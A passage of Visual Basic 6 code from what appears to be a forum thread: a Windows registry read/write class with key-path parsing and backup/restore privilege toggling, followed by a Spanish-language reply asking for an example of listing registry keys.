                        ReadValue = lVal
                    Else
                        ReadValue = CLng(vDefault)
                    End If
 
                Case REG_BINARY
                    Dim ArrData() As Byte
                    If LenData > 0 Then
                        ReDim ArrData(LenData - 1)
                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ArrData(0), LenData) = ERROR_SUCCESS) Then
                            ReadValue = ArrData
                        Else
                            ArrData = vDefault
                        End If
                    Else
                        ArrData = vDefault
                    End If
 
            End Select
        End If
        RegCloseKey mKey
    End If
End Function
 
Public Function WriteValue(ByVal sPath As String, ByVal sName As String, ByVal vValue As Variant) As Boolean
    Dim LenData As Long
    Dim bData() As Byte
    Dim EnuRegType As rcRegType
    Dim lRet As Long
 
    hKey = GetKeys(sPath, sKey)
 
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
 
        If sName = vbNullString Then
            EnuRegType = REG_SZ
        Else
            lRet = RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData)
        End If
 
        If (lRet = ERROR_SUCCESS) Then
            Select Case EnuRegType
                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
 
                    LenData = Len(vValue)
 
                    If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
                        WriteValue = True
                    End If
 
                Case REG_DWORD
                    If RegSetValueEx(mKey, sName, 0, EnuRegType, CLng(vValue), 4) = ERROR_SUCCESS Then
                        WriteValue = True
                    End If
                Case REG_BINARY
                    Select Case VarType(vValue)
                        Case (vbArray Or vbByte)
                            bData = vValue
                            LenData = UBound(bData) + 1
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, bData(0), LenData) = ERROR_SUCCESS Then
                                WriteValue = True
                            End If
                        Case vbString
                            LenData = Len(vValue)
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, ByVal CStr(vValue), LenData) = ERROR_SUCCESS Then
                                WriteValue = True
                            End If
                        Case 0
                            If RegSetValueEx(mKey, sName, 0, EnuRegType, 0&, 0&) = ERROR_SUCCESS Then
                                WriteValue = VarType(vValue)
                            End If
                    End Select
 
            End Select
        End If
        RegCloseKey mKey
    End If
 
End Function
 
 
Private Function GetKeys(sPath As String, sKey As String) As rcMainKey
    Dim Pos As Long, mk As String
 
    sPath = Replace$(sPath, "HKCR", "HKEY_CLASSES_ROOT", , , 1)
    sPath = Replace$(sPath, "HKCU", "HKEY_CURRENT_USER", , , 1)
    sPath = Replace$(sPath, "HKLM", "HKEY_LOCAL_MACHINE", , , 1)
    sPath = Replace$(sPath, "HKUS", "HKEY_USERS", , , 1)
    sPath = Replace$(sPath, "HKCC", "HKEY_CURRENT_CONFIG", , , 1)
 
    Pos = InStr(1, sPath, "\")
 
    If (Pos = 0) Then
        mk = UCase$(sPath)
        sKey = ""
    Else
        mk = UCase$(Left$(sPath, Pos - 1))
        sKey = Right$(sPath, Len(sPath) - Pos)
    End If
 
    Select Case mk
        Case "HKEY_CLASSES_ROOT": GetKeys = HKEY_CLASSES_ROOT
        Case "HKEY_CURRENT_USER": GetKeys = HKEY_CURRENT_USER
        Case "HKEY_LOCAL_MACHINE": GetKeys = HKEY_LOCAL_MACHINE
        Case "HKEY_USERS": GetKeys = HKEY_USERS
        Case "HKEY_CURRENT_CONFIG": GetKeys = HKEY_CURRENT_CONFIG
    End Select
 
End Function
 
 
Private Sub SetBackupAndRestorePriviliges()
    Dim m_RestoreLuid   As Luid
    Dim m_BackupLuid    As Luid
 
    Call OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVLEGES Or TOKEN_QUERY, m_hToken)
    Call LookupPrivilegeValue(vbNullString, SE_RESTORE_NAME, m_RestoreLuid)
    Call LookupPrivilegeValue(vbNullString, SE_BACKUP_NAME, m_BackupLuid)
 
    m_TP.PrivilegeCount = 2
    m_TP.Privileges(0).pLuid = m_RestoreLuid
    m_TP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    m_TP.Privileges(1).pLuid = m_BackupLuid
    m_TP.Privileges(1).Attributes = SE_PRIVILEGE_ENABLED
 
    Call AdjustTokenPrivileges(m_hToken, 0, m_TP, Len(m_TP), 0&, 0&)
 
End Sub
 
Private Sub ResetBackupAndRestorePriviliges()
    Call AdjustTokenPrivileges(m_hToken, 1, m_TP, Len(m_TP), 0&, 0&)
End Sub
 
Private Sub Class_Terminate()
    bCancelSearch = True
End Sub
 
 

Si me puedes decir un breve ejemplo para listar las carpetas del registro

Saludos! espero ayuda detallada de como utilizar tu modulo. Muchas gracias por leer!